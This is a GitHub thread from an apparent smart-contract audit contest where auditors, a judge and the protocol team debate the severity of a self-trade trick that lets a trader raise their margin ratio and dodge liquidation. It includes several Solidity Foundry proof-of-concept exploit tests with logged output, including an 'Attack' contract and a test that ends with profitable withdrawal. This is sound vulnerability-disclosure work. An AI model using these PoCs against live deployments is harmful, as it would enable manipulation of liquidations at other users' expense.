You're welcome, this is what I should do. I used the test/clearingHouse/Liquidate.int.t.sol file for testing and did not modify the configuration of the original file. The following is the complete content. The parameters used are no different from other tests in the original test file. In order to compare the difference between user and attack more clearly, let them both use very low leverage.

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.8.0;

import { TestMaker } from "../helper/TestMaker.sol";
import { LibError } from "../../src/common/LibError.sol";
import { IClearingHouse } from "../../src/clearingHouse/IClearingHouse.sol";
import { IVault } from "../../src/vault/IVault.sol";
import { Vault } from "../../src/vault/Vault.sol";
import "./ClearingHouseIntSetup.sol";
contract Attack {
    IClearingHouse target;

    constructor(address _target) {
        target = IClearingHouse(_target);
    }

    function openPosition(uint256 marketId, address maker, uint256 amount) public {
        bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (amount * 95) / 100 }));
        target.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: amount / 100,
                oppositeAmountBound: amount,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        target.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(this),
                isBaseToQuote: false,
                isExactInput: false,
                amount: amount / 100,
                oppositeAmountBound: amount,
                deadline: block.timestamp,
                makerData: makerData
            })
        );
    }

    function closePosition(uint256 marketId, address maker, uint256 amount) public {
        target.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: true,
                isExactInput: true,
                amount: amount / 100,
                oppositeAmountBound: amount,
                deadline: block.timestamp,
                makerData: ""
            })
        );
    }
}
contract LiquidateInt is ClearingHouseIntSetup {
    TestMaker public maker;
    address public taker = makeAddr("taker");
    address public liquidator = makeAddr("liquidator");

    function setUp() public override {
        super.setUp();

        vm.label(address(maker), "maker");
        vm.label(taker, "taker");
        vm.label(liquidator, "liquidator");

        maker = _newMarketWithTestMaker(marketId);
        maker.setBaseToQuotePrice(100e18);
        _mockPythPrice(100, 0);

        _deposit(marketId, address(maker), 10000e6);
        _deposit(marketId, taker, 1000e6);
        _deposit(marketId, liquidator, 2000e6);
    }
        // attack contract
    function testModifyAccountMarginRatioContract() public {
        // init user
        address user = makeAddr("user");
        // Increase transaction amount,need to match position size
        uint256 startCollateralToken = 53000e6;
        // deploy attack contract
        Attack attack = new Attack(address(clearingHouse));
        // The same amount of funds
        _deposit(marketId, address(attack), startCollateralToken);
        _deposit(marketId, address(user), startCollateralToken);
        // set PriceBandRatio -> 5%
        config.setPriceBandRatio(marketId, 0.05 ether);
        // set price -> 100e18
        maker.setBaseToQuotePrice(100e18);
        _mockPythPrice(100, 0);
        console2.log("getFreeCollateral before openPosition", vault.getFreeCollateral(marketId, address(maker), 100e18));
        // user openPosition -> long 
        vm.prank(user);
        clearingHouse.openPosition(
            IClearingHouse.OpenPositionParams({
                marketId: marketId,
                maker: address(maker),
                isBaseToQuote: false,
                isExactInput: false,
                amount: 500 ether,
                oppositeAmountBound: 50000 ether,
                deadline: block.timestamp,
                makerData: ""
            })
        );
        // attack contract openPosition -> long （same as user）
        attack.openPosition(marketId, address(maker), 50000 ether);
        console2.log("getFreeCollateral after openPosition", vault.getFreeCollateral(marketId, address(maker), 0e18));
        // At this time the price is 0
        maker.setBaseToQuotePrice(0e18);
        _mockPythPrice(0, 0);
        assertEq(clearingHouse.isLiquidatable(marketId, user, 0e18), true);
        assertEq(clearingHouse.isLiquidatable(marketId, address(attack), 0e18), false);
        console.log("user isLiquidatable()",clearingHouse.isLiquidatable(marketId, user, 0e18));
        console.log("attack isLiquidatable()",clearingHouse.isLiquidatable(marketId, address(attack), 0e18));
    }
}
    // [PASS] testModifyAccountMarginRatioContract() (gas: 2335141)
    // Logs:
    //     getFreeCollateral before openPosition 10000000000000000000000
    //     getFreeCollateral after openPosition 0
    //     user isLiquidatable() true
    //     attack isLiquidatable() false
IllIllI000 commented 2 weeks ago

Hi @paco0x, can we get some clarifications from you on this comment? When you said So it's not possible to avoid liquidation without close position if the external price is already very close to the liquidation price, I believe you meant that the user can use a price of their choosing in order to close part of the trade, but if the trade at that price violates the maintenance margin requirements, it's rejected, and therefore the user doesn't actually 'avoid liquidation', they just close part of the trade - is that right? To nirohgo's point about it being Low, can't two traders do the same thing themselves in order to close part of the position, by going through the order router? In other words, it's not clear to me what the user gains by doing the self-trade, other than not having to submit separate transactions. Is there something else I'm missing about the risks here that make it a Medium?

This is the most recent PoC, with some debug statements, showing that the trader does in fact lose some margin (free collateral does not change - it stays at zero), but still has enough after closing part of the long position against itself, to pass margin requirements, even at a price of zero (i.e. the non-attacker could just add some more margin to be in the same boat):

PoC ```solidity // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; import { TestMaker } from "../helper/TestMaker.sol"; import { LibError } from "../../src/common/LibError.sol"; import { IClearingHouse } from "../../src/clearingHouse/IClearingHouse.sol"; import { IVault } from "../../src/vault/IVault.sol"; import { Vault } from "../../src/vault/Vault.sol"; import "./ClearingHouseIntSetup.sol"; contract Attack { IClearingHouse target; constructor(address _target) { target = IClearingHouse(_target); } function openPosition(uint256 marketId, address maker, uint256 amount, Vault vault) public { bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: (amount * 95) / 100 })); target.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: false, isExactInput: false, amount: amount / 100, oppositeAmountBound: amount, deadline: block.timestamp, makerData: "" }) ); // https://github.com/sherlock-audit/2024-02-perpetual-judging/issues/112#issuecomment-2041343327 int256 margDec = vault.getMargin(marketId, address(this)); console.log("attack margin before self-trade"); console.logInt(margDec); console2.log("getFreeCollateral during openPosition", vault.getFreeCollateral(marketId, address(maker), 100e18)); target.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(this), isBaseToQuote: false, isExactInput: false, amount: amount / 100, oppositeAmountBound: amount, deadline: block.timestamp, makerData: makerData }) ); margDec = vault.getMargin(marketId, address(this)); console.log("attack margin after self-trade"); console.logInt(margDec); } function closePosition(uint256 marketId, address maker, uint256 amount) public { target.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: true, isExactInput: true, amount: amount / 100, oppositeAmountBound: amount, deadline: block.timestamp, makerData: "" }) ); } } contract LiquidateInt is ClearingHouseIntSetup { TestMaker public maker; address public taker = makeAddr("taker"); address public liquidator = makeAddr("liquidator"); function setUp() public override { super.setUp(); vm.label(address(maker), "maker"); vm.label(taker, "taker"); vm.label(liquidator, "liquidator"); maker = _newMarketWithTestMaker(marketId); maker.setBaseToQuotePrice(100e18); _mockPythPrice(100, 0); _deposit(marketId, address(maker), 10000e6); _deposit(marketId, taker, 1000e6); _deposit(marketId, liquidator, 2000e6); } // attack contract function testModifyAccountMarginRatioContract() public { // init user address user = makeAddr("user"); // Increase transaction amount,need to match position size uint256 startCollateralToken = 53000e6; // deploy attack contract Attack attack = new Attack(address(clearingHouse)); // The same amount of funds _deposit(marketId, address(attack), startCollateralToken); _deposit(marketId, address(user), startCollateralToken); printLegacyMarginProfile(_getMarginProfile(marketId, address(user), 100e18), marketId, address(user)); printLegacyMarginProfile(_getMarginProfile(marketId, address(attack), 100e18), marketId, address(attack)); // set PriceBandRatio -> 5% config.setPriceBandRatio(marketId, 0.05 ether); // set price -> 100e18 maker.setBaseToQuotePrice(100e18); _mockPythPrice(100, 0); console2.log("getFreeCollateral before openPosition", vault.getFreeCollateral(marketId, address(maker), 100e18)); // user openPosition -> long vm.prank(user); clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: false, isExactInput: false, amount: 500 ether, oppositeAmountBound: 50000 ether, deadline: block.timestamp, makerData: "" }) ); // attack contract openPosition -> long （same as user） attack.openPosition(marketId, address(maker), 50000 ether, vault); console2.log("getFreeCollateral after openPosition", vault.getFreeCollateral(marketId, address(maker), 0e18)); // At this time the price is 0 maker.setBaseToQuotePrice(0e18); _mockPythPrice(0, 0); assertEq(clearingHouse.isLiquidatable(marketId, address(user), 0e18), true); assertEq(clearingHouse.isLiquidatable(marketId, address(attack), 0e18), false); console.log("MM ratio: %s\r", config.getMaintenanceMarginRatio(marketId)); printLegacyMarginProfile(_getMarginProfile(marketId, user, 0e18), marketId, address(user)); console.log("user isLiquidatable()",clearingHouse.isLiquidatable(marketId, address(user), 0e18)); printLegacyMarginProfile(_getMarginProfile(marketId, address(attack), 0e18), marketId, address(attack)); console.log("attack isLiquidatable()",clearingHouse.isLiquidatable(marketId, address(attack), 0e18)); } function printLegacyMarginProfile(LegacyMarginProfile memory _legacy, uint256 marketId, address trader) private view { console.log("\r"); console.log("margin:"); console.logInt(vault.getMargin(marketId, trader)); console.log("\r"); console.log("unrealizedPnl:"); console.logInt(_legacy.unrealizedPnl); console.log("\r"); console.log("accountValue:"); console.logInt(_legacy.accountValue); console.log("\r"); console.log("marginRatio:"); console.logInt(_legacy.marginRatio); console.log("\r"); console.log("positionSize:"); console.logInt(_legacy.positionSize); console.log("\r"); console.log("openNotional:"); console.logInt(_legacy.openNotional); console.log("\r"); console.log("freeCollateral:"); console.log(_legacy.freeCollateral); console.log("\r"); } } ```
Output ``` Ran 1 test for test/clearingHouse/MyTest.t.sol:LiquidateInt [PASS] testModifyAccountMarginRatioContract() (gas: 3654330) Logs: margin: 53000000000000000000000 unrealizedPnl: 0 accountValue: 53000000000000000000000 marginRatio: 57896044618658097711785492504343953926634992332820282019728792003956564819967 positionSize: 0 openNotional: 0 freeCollateral: 53000000000000000000000 margin: 53000000000000000000000 unrealizedPnl: 0 accountValue: 53000000000000000000000 marginRatio: 57896044618658097711785492504343953926634992332820282019728792003956564819967 positionSize: 0 openNotional: 0 freeCollateral: 53000000000000000000000 getFreeCollateral before openPosition 10000000000000000000000 attack margin before self-trade 53000000000000000000000 getFreeCollateral during openPosition 0 attack margin after self-trade 50500000000000000000000 getFreeCollateral after openPosition 0 MM ratio: 62500000000000000 margin: 53000000000000000000000 unrealizedPnl: -50000000000000000000000 accountValue: 3000000000000000000000 marginRatio: 60000000000000000 positionSize: 500000000000000000000 openNotional: -50000000000000000000000 freeCollateral: 0 user isLiquidatable() true margin: 50500000000000000000000 unrealizedPnl: -47500000000000000000000 accountValue: 3000000000000000000000 marginRatio: 63157894736842105 positionSize: 500000000000000000000 openNotional: -47500000000000000000000 freeCollateral: 0 attack isLiquidatable() false Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 46.11ms (32.89ms CPU time) ```
joicygiore commented 2 weeks ago

@IllIllI000 Hello sir, the console2.log("getFreeCollateral before openPosition", vault.getFreeCollateral(marketId, address(maker), 100e18)); in the test is what I use to display the free collateral of the maker. In other words, here In this extreme case, the maker does not have excess collateral to support the transaction.all positions are in this state.

IllIllI000 commented 2 weeks ago

@joicygiore I've edited the poc and the output to include an extra getFreeCollateral during openPosition 0, though I'm not sure what that changes in terms of the risks. If you had actually been able to change free collateral, it shouldn't matter whether there is excess margin or not. The next trade, as well as actual liquidations will use the real price, so any temporary changes (e.g. view functions) will be reversed at that point, prior to that new trade/liquidation being executed.

joicygiore commented 2 weeks ago

@joicygiore I've edited the poc and the output to include an extra getFreeCollateral during openPosition 0, though I'm not sure what that changes in terms of the risks. If you had actually been able to change free collateral, it shouldn't matter whether there is excess margin or not. The next trade, as well as actual liquidations will use the real price, so any temporary changes (e.g. view functions) will be reversed at that point, prior to that new trade/liquidation being executed.

Nothing different, just adding a free margin and using a large amount to make the increase appear larger. This POC just shows that when the price is 0, it can not be liquidated due to the increase in margin. There is an upper limit on the total amount, and this upper limit is the total amount of the maker.

WangSecurity commented 2 weeks ago

@joicygiore as you say it's an extreme case, doesn't it mean that there is an extremely low probability that this scenario when the user in fact cannot be liquidated at all, or am I wrong here?

And also, could you please ask these questions that I've laid out here

joicygiore commented 2 weeks ago

@joicygiore as you say it's an extreme case, doesn't it mean that there is an extremely low probability that this scenario when the user in fact cannot be liquidated at all, or am I wrong here?

And also, could you please ask these questions that I've laid out here

Hello sir, amount * 95 / 100 is configured according to the contract's config.setPriceBandRatio(marketId, 0.05 ether);. The difference may be related to the way we open positions overall. The latest 0 price POC is of course a very extreme situation. Judging from the price trend in recent years, it is almost impossible to reach this price. This poc is intended to illustrate:

  1. As long as the attacker is willing, simple calculations in the long direction can completely avoid liquidation.
  2. The operation of increasing the deposit actually involves theft of funds, because the user can avoid being liquidated by adding a deposit, and the attacker gets the deposit for free.
  3. The amount of deposit that an attacker can increase is only limited by the amount of maker funds, and the method is simple and can be completed by anyone deploying a simple contract.
  4. Judging from the sponsor's project scale, the amount of the increased deposit should already meet the high rating
WangSecurity commented 2 weeks ago

Thank you for this response. I understand that price being 0 is extreme. I meant to ask that it's an extreme situation that the trader becomes unliquidatable at any price, sorry for that confusion. I still struggle to understand the why there is such a big difference between 2 PoCs that in the one trader still can become liquidatable and in the second one they are not liquidatable at any moment.

Can you please clarify what makes such a difference in the results? And the traders are able to do so on any trade to be non-liquidatable at any moment?

@IllIllI000 as I see from your comment here you ask what are the risks that make it a medium? Do I understand correctly that you mean it should be low, cause the attacker indeed loses part of their margin during the attack and that is why they're not liquidatable? Or did I missunderstood your comments?

IllIllI000 commented 2 weeks ago

@WangSecurity yes, I mean it should be low. The attacker closes part of their position and re-opens at the new price and incurs margin loss due to it in order to change the average entry price. The only reason the PoC provided by joicygiore shows the position can't be liquidated, is that extra margin added to the account (in the PoC's case, before the trade), means there's enough margin at that new average entry price to cover maintenance margin, even when the price becomes zero, and maximum loss has occurred.

IllIllI000 commented 2 weeks ago

This PoC shows that using the price of 95, as the attack was able to, a normal user opening a trade at that price with the same margin is not liquidatable either

PoC ```solidity // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; import { TestMaker } from "../helper/TestMaker.sol"; import { LibError } from "../../src/common/LibError.sol"; import { IClearingHouse } from "../../src/clearingHouse/IClearingHouse.sol"; import { IVault } from "../../src/vault/IVault.sol"; import { Vault } from "../../src/vault/Vault.sol"; import "./ClearingHouseIntSetup.sol"; contract LiquidateInt is ClearingHouseIntSetup { TestMaker public maker; address public taker = makeAddr("taker"); address public liquidator = makeAddr("liquidator"); function setUp() public override { super.setUp(); vm.label(address(maker), "maker"); vm.label(taker, "taker"); vm.label(liquidator, "liquidator"); maker = _newMarketWithTestMaker(marketId); maker.setBaseToQuotePrice(100e18); _mockPythPrice(100, 0); _deposit(marketId, address(maker), 10000e6); _deposit(marketId, taker, 1000e6); _deposit(marketId, liquidator, 2000e6); } // attack contract function testModifyAccountMarginRatioContract() public { // init user address user = makeAddr("user"); // Increase transaction amount,need to match position size uint256 startCollateralToken = 53000e6; // The same amount of funds _deposit(marketId, address(user), startCollateralToken); printLegacyMarginProfile(_getMarginProfile(marketId, address(user), 95e18), marketId, address(user)); // set PriceBandRatio -> 5% config.setPriceBandRatio(marketId, 0.05 ether); // set price -> 100e18 maker.setBaseToQuotePrice(95e18); _mockPythPrice(95, 0); console2.log("getFreeCollateral before openPosition", vault.getFreeCollateral(marketId, address(maker), 95e18)); // user openPosition -> long vm.prank(user); clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: false, isExactInput: false, amount: 500 ether, oppositeAmountBound: 50000 ether, deadline: block.timestamp, makerData: "" }) ); console2.log("getFreeCollateral after openPosition", vault.getFreeCollateral(marketId, address(maker), 0e18)); // At this time the price is 0 maker.setBaseToQuotePrice(0e18); _mockPythPrice(0, 0); assertEq(clearingHouse.isLiquidatable(marketId, address(user), 0e18), true); console.log("MM ratio: %s\r", config.getMaintenanceMarginRatio(marketId)); printLegacyMarginProfile(_getMarginProfile(marketId, user, 0e18), marketId, address(user)); console.log("user isLiquidatable()",clearingHouse.isLiquidatable(marketId, address(user), 0e18)); } function printLegacyMarginProfile(LegacyMarginProfile memory _legacy, uint256 marketId, address trader) private view { console.log("\r"); console.log("margin:"); console.logInt(vault.getMargin(marketId, trader)); console.log("\r"); console.log("unrealizedPnl:"); console.logInt(_legacy.unrealizedPnl); console.log("\r"); console.log("accountValue:"); console.logInt(_legacy.accountValue); console.log("\r"); console.log("marginRatio:"); console.logInt(_legacy.marginRatio); console.log("\r"); console.log("positionSize:"); console.logInt(_legacy.positionSize); console.log("\r"); console.log("openNotional:"); console.logInt(_legacy.openNotional); console.log("\r"); console.log("freeCollateral:"); console.log(_legacy.freeCollateral); console.log("\r"); } } ```
WangSecurity commented 2 weeks ago

Thank you for that input! I'll give some time to the Watson to provide counter arguments and answer my questions. Could you also take a look at the POC by other Watson in the report itself and from the comment here. As I understand it should be correct and the trader is indeed not liquidatable at price 109, while the user is. But, at price of 108 both of them are liquidatable. Thank you very much.

paco0x commented 2 weeks ago

Hi @paco0x, can we get some clarifications from you on this comment? When you said So it's not possible to avoid liquidation without close position if the external price is already very close to the liquidation price, I believe you meant that the user can use a price of their choosing in order to close part of the trade, but if the trade at that price violates the maintenance margin requirements, it's rejected, and therefore the user doesn't actually 'avoid liquidation', they just close part of the trade - is that right? To nirohgo's point about it being Low, can't two traders do the same thing themselves in order to close part of the position, by going through the order router? In other words, it's not clear to me what the user gains by doing the self-trade, other than not having to submit separate transactions. Is there something else I'm missing about the risks here that make it a Medium?

This is the most recent PoC, with some debug statements, showing that the trader does in fact lose some margin (free collateral does not change - it stays at zero), but still has enough after closing part of the long position against itself, to pass margin requirements, even at a price of zero (i.e. the non-attacker could just add some more margin to be in the same boat):

PoC Output

This issue describes a trick to trade against himself so that the trader can increase his margin ratio, lower down his liquidation price(if long) without closing/reducing his position.

My comment is saying that this operation(trade with himself, not close/reduce position) will be reverted if the external price is close to the liquidation price. So if someone is already close to the liquidation price, he can not use this trick.

I haven't tested the closeness between the external price and the liquidation price when this trick starts to be reverted, but at least it is not always possible to do this.

IllIllI000 commented 2 weeks ago

Could you also take a look at the POC by other Watson in the report itself and from the comment here. As I understand it should be correct and the trader is indeed not liquidatable at price 109, while the user is. But, at price of 108 both of them are liquidatable.

The margin in the original test case is also reduced, when they change the oppositeAmount from 10 to 10.5.

PoC ```solidity // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity >=0.8.0; import "../oracleMaker/OracleMakerIntSetup.sol"; import { ClearingHouse } from "../../src/clearingHouse/ClearingHouse.sol"; import { IClearingHouse } from "../../src/clearingHouse/IClearingHouse.sol"; import { OracleMaker } from "../../src/maker/OracleMaker.sol"; import { LibError } from "../../src/common/LibError.sol"; import "forge-std/console.sol"; contract MyTest is OracleMakerIntSetup { bytes public makerData; address public taker = makeAddr("taker"); address public lp = makeAddr("lp"); struct MakerOrder { uint256 amount; } function setUp() public override { super.setUp(); makerData = validPythUpdateDataItem; _mockPythPrice(150, 0); _deposit(marketId, taker, 500e6); maker.setValidSender(taker, true); deal(address(collateralToken), address(lp), 2000e6, true); vm.startPrank(lp); collateralToken.approve(address(maker), 2000e6); maker.deposit(2000e6); vm.stopPrank(); } function test_imporveMarginRatio() public{ vm.startPrank(taker); _mockPythPrice(150, 0); uint price = 150 * 1e18; // taker long ether with 1500 usd clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: false, isExactInput: true, amount: 1500 ether, oppositeAmountBound: 10 ether, deadline: block.timestamp, makerData: makerData }) ); console.log("---------------- before ------------------- "); printLegacyMarginProfile(_getMarginProfile(marketId, taker, price), marketId, taker); // taker trade with himself clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(taker), //NOTE maker equel taker isBaseToQuote: false, isExactInput: true, amount: 1500 ether, oppositeAmountBound: 10 ether, deadline: block.timestamp, makerData: abi.encode(MakerOrder({ amount: 10.5 ether //NOTE suppose 5% band })) }) ); console.log("\r"); console.log("---------------- after ------------------- "); printLegacyMarginProfile(_getMarginProfile(marketId, taker, price), marketId, taker); } function test_avoidLiquidation() public{ vm.startPrank(taker); _mockPythPrice(150, 0); // taker long ether with 1500 usd clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(maker), isBaseToQuote: false, isExactInput: true, amount: 1500 ether, oppositeAmountBound: 10 ether, deadline: block.timestamp, makerData: makerData }) ); uint price = 109 * 1e18; //The price that make users to be liquidated console.log("---------------- normal ------------------- "); printLegacyMarginProfile(_getMarginProfile(marketId, taker, price), marketId, taker); console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price)); // taker trade with himself clearingHouse.openPosition( IClearingHouse.OpenPositionParams({ marketId: marketId, maker: address(taker), //NOTE maker equel taker isBaseToQuote: false, isExactInput: true, amount: 1500 ether, oppositeAmountBound: 10 ether, deadline: block.timestamp, makerData: abi.encode(MakerOrder({ amount: 10.5 ether //NOTE suppose 5% band })) }) ); console.log("\r"); console.log("---------------- after taker trade with himself -------------------"); printLegacyMarginProfile(_getMarginProfile(marketId, taker, price), marketId, taker); console.log("isLiquidatable", clearingHouse.isLiquidatable(marketId, taker, price)); vm.stopPrank(); } function printLegacyMarginProfile(LegacyMarginProfile memory _legacy, uint256 marketId, address trader) private view { console.log("\r"); console.log("margin:"); console.logInt(vault.getMargin(marketId, trader)); console.log("\r"); console.log("unrealizedPnl:"); console.logInt(_legacy.unrealizedPnl); console.log("\r"); console.log("accountValue:"); console.logInt(_legacy.accountValue); console.log("\r"); console.log("marginRatio:"); console.logInt(_legacy.marginRatio); console.log("\r"); console.log("positionSize:"); console.logInt(_legacy.positionSize); console.log("\r"); console.log("openNotional:"); console.logInt(_legacy.openNotional); console.log("\r"); console.log("freeCollateral:"); console.log(_legacy.freeCollateral); console.log("\r"); } } ```

You'll get the same behavior by having a normal user open a trade at an oppositeAmount of 10.5

IllIllI000 commented 2 weeks ago

This issue describes a trick to trade against himself so that the trader can increase his margin ratio, lower down his liquidation price(if long) without closing/reducing his position.

@paco0x the user isn't closing the position, but they're paying margin in order to change the average entry price, by closing at the old price and re-opening at the new price. Does that cause a loss for any other part of the system, or add a specific risk somewhere else that you're aware of?

paco0x commented 2 weeks ago

This issue describes a trick to trade against himself so that the trader can increase his margin ratio, lower down his liquidation price(if long) without closing/reducing his position.

@paco0x the user isn't closing the position, but they're paying margin in order to change the average entry price, by closing at the old price and re-opening at the new price. Does that cause a loss for any other part of the system, or add a specific risk somewhere else that you're aware of?

Could you please explain the term "paying margin" further? I'm not certain that I fully understand it.

I think the risk would be in our liquidation system, didn't see loss from other parts or risk in the contract.

joicygiore commented 2 weeks ago

Thank you for that input! I'll give some time to the Watson to provide counter arguments and answer my questions. Could you also take a look at the POC by other Watson in the report itself and from the comment here. As I understand it should be correct and the trader is indeed not liquidatable at price 109, while the user is. But, at price of 108 both of them are liquidatable. Thank you very much.

Hello, sir @WangSecurity @IllIllI000 ! I have not refuted any questions from the beginning. I am just stating the facts. At this point I have 5 questions I would like to get answers from you

  1. Is the increase in margin a fact?
  2. Is the increase in margin a percentage?
  3. Does the increase in margin delay the clearing price?
  4. Consider a question, when Ethereum drops from the current price (3,126.56) to 0, will it remain 0 forever, and can anyone guarantee that its price will never exceed 3,126.56?

  5. Is the increased margin meaningful?

    // @audit-high
// Modify liquidation price
// 1. The attacker creates a short position on the maker
// 2. The attacker sets himself as the maker and sets makerData to execute the transaction
// 3. If the price drops, the attacker's liquidation price will be much higher than the predetermined liquidation price, making it impossible to be liquidated.
// 4. Waiting for the price to return to expectations, the attacker closes the position on his own
function testModifyAccountMarginRatio() public {
    // init attacker
    address attacker = makeAddr("attacker");
    uint256 attackerStartCollateralToken = 100e6;
    _deposit(marketId, attacker, attackerStartCollateralToken);
    // set PriceBandRatio -> 10%
    config.setPriceBandRatio(marketId, 0.05 ether);
    // set price -> 100e18
    maker.setBaseToQuotePrice(100e18);
    _mockPythPrice(100, 0);
    vm.startPrank(attacker);
    ////////////////////////////////////
    ///// short 1 ether in maker ///////
    ////////////////////////////////////
    // attacker short 1 ether in maker
    clearingHouse.openPosition(
        IClearingHouse.OpenPositionParams({
            marketId: marketId,
            maker: address(maker),
            isBaseToQuote: true,
            isExactInput: true,
            amount: 1 ether,
            oppositeAmountBound: 100 ether,
            deadline: block.timestamp,
            makerData: ""
        })
    );
    ////////////////////////////////////
    /////// normal circumstances ///////
    ////////////////////////////////////
    // 100e18 -> 193.76e18
    // margin ratio < 6.25%
    assertEq(vault.getMarginRatio(marketId, attacker, 193.76e18), 6.24e16);
    // can be liquidated
    assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), true);

    /////////////////////////////////////
    /// Attackers trade on their own ////
    /////////////////////////////////////
    // after transaction attacker closePosition in self and set makerData
    bytes memory makerData = abi.encode(IClearingHouse.MakerOrder({ amount: 95 ether }));
    // if price band ratio == 0
    // for (uint256 i = 0; i < 5; ++i) {
    clearingHouse.closePosition(
        IClearingHouse.ClosePositionParams({
            marketId: marketId,
            maker: address(attacker),
            oppositeAmountBound: type(uint256).max,
            deadline: block.timestamp,
            makerData: makerData
        })
    );
    // }
    //////////////////////////////////
    ///Unable to liquidate normally///
    //////////////////////////////////
    // set price -> 193.76e18
    maker.setBaseToQuotePrice(193.76e18);
    _mockPythPrice(19376, -2);
    // Unable to liquidate
    assertEq(clearingHouse.isLiquidatable(marketId, attacker, 193.76e18), false);

    //////////////////////////////////
    ///  Attacker closes position  ///
    //////////////////////////////////
    // set price -> 50e18
    maker.setBaseToQuotePrice(50e18);
    _mockPythPrice(50, 0);
    // attacker close position in maker
    clearingHouse.openPosition(
        IClearingHouse.OpenPositionParams({
            marketId: marketId,
            maker: address(maker),
            isBaseToQuote: false,
            isExactInput: false,
            amount: 1 ether,
            oppositeAmountBound: 100 ether,
            deadline: block.timestamp,
            makerData: ""
        })
    );
    assertEq(vault.getPositionSize(marketId, attacker), 0);
    assertEq(vault.getOpenNotional(marketId, attacker), 0);
    // attacker withdraw
    uint256 attackerMargin = uint256(vault.getMargin(marketId, attacker));
    vault.transferMarginToFund(marketId, attackerMargin / 1e12);
    vault.withdraw(attackerMargin / 1e12);
    vm.stopPrank();
    assertEq(collateralToken.balanceOf(attacker) - attackerStartCollateralToken, 50000000);
    console.log("attacker Start Collateral Token",attackerStartCollateralToken);
    console.log("attacker End Collateral Token",collateralToken.balanceOf(attacker));
}
// [PASS] testModifyAccountMarginRatio() (gas: 1596832)
// Logs:
//     attacker Start Collateral Token 100000000
//     attacker End Collateral Token 150000000
IllIllI000 commented 2 weeks ago

Could you please explain the term "paying margin" further? I'm not certain that I fully understand it.

nirohgo works through the numbers of the specific example in the original PoC in this comment. Essentially, the old position is closed at a loss, and a new position is opened at a new average price. Since it's a trade, the clearinghouse applies the PnL of the two sides of the trade, and this change in PnL is settled, and becomes part of the new margin (a loss of margin). They're essentially using the trade to reduce their margin in order to get the new average entry price, which seems to be of limited value in and of itself

I think the risk would be in our liquidation system, didn't see loss from other parts or risk in the contract.

Since it's an actual trade, the maintenance margin requirements are in full effect - they aren't being bypassed, so it doesn't seem like they can in any way affect whether they can be liquidated more than two traders doing the same operation through the order router with two separate accounts.

paco0x commented 2 weeks ago

Could you please explain the term "paying margin" further? I'm not certain that I fully understand it.

nirohgo works through the specific example in the original PoC in this comment. Essentially, the old position is closed at a loss, and a new position is opened at a new average price. Since it's a trade, the clearinghouse applies the PnL of the two sides of the trade, and this change in PnL is settled, and becomes part of the new margin (a loss of margin). They're essentially using the trade to reduce their margin in order to get the new average entry price, which seems to be of limited value in and of itself

I think the risk would be in our liquidation system, didn't see loss from other parts or risk in the contract.

Since it's an actual trade, the maintenance margin requirements are in full effect - they aren't being bypassed, so it doesn't seem like they can in any way affect whether they can be liquidated more than two traders doing the same operation through the order router with two separate accounts.

Yes, the maintenance margin ratio requirement rule is still in effect. But trader can intentionally realize his loss to increase margin ratio and delay the potential liquidation. So we still fixed it to avoid potential liquidation risk and admit it is a valid issue.

Given that you guys are more familiar with the rules of Sherlock, I'll left the discussion on the severity to you guys. (Personally I still think it's more suitable for medium)

joicygiore commented 2 weeks ago

Could you please explain the term "paying margin" further? I'm not certain that I fully understand it.

nirohgo works through the specific example in the original PoC in this comment. Essentially, the old position is closed at a loss, and a new position is opened at a new average price. Since it's a trade, the clearinghouse applies the PnL of the two sides of the trade, and this change in PnL is settled, and becomes part of the new margin (a loss of margin). They're essentially using the trade to reduce their margin in order to get the new average entry price, which seems to be of limited value in and of itself

I think the risk would be in our liquidation system, didn't see loss from other parts or risk in the contract.

Since it's an actual trade, the maintenance margin requirements are in full effect - they aren't being bypassed, so it doesn't seem like they can in any way affect whether they can be liquidated more than two traders doing the same operation through the order router with two separate accounts.

Yes, the maintenance margin ratio requirement rule is still in effect. But trader can intentionally realize his loss to increase margin ratio and delay the potential liquidation. So we still fixed it to avoid potential liquidation risk and admit it is a valid issue.

Given that you guys are more familiar with the rules of Sherlock, I'll left the discussion on the severity to you guys. (Personally I still think it's more suitable for medium)

Thank you so much!

joicygiore commented 2 weeks ago

@WangSecurity @IllIllI000 So gentlemen, here comes the only question now. In the absence of any external conditions, whether the margin rate is increased (without any cost), funds are being stolen, and whether it meets our own standards. Of course I think he meets the criteria of high. I'm confused how a simple question got here, and what's even more ridiculous is that it was identified as low

WangSecurity commented 2 weeks ago

@joicygiore regarding your comment here. Answering your questions:

  1. Yes, the margin changes.
  2. Margin utilization is in precentages, then I believe yes, it increases in percentage.
  3. If by clearing price you mean liqudiation, then yes liquidation price changes due to change in margin utilization.
  4. Yes, it's not guaranteed that ETH price ever exceeds the current one.
  5. Depends on what you see as meaningful, but I assume yes, since the trader cannot be liquidated at the price they should be.

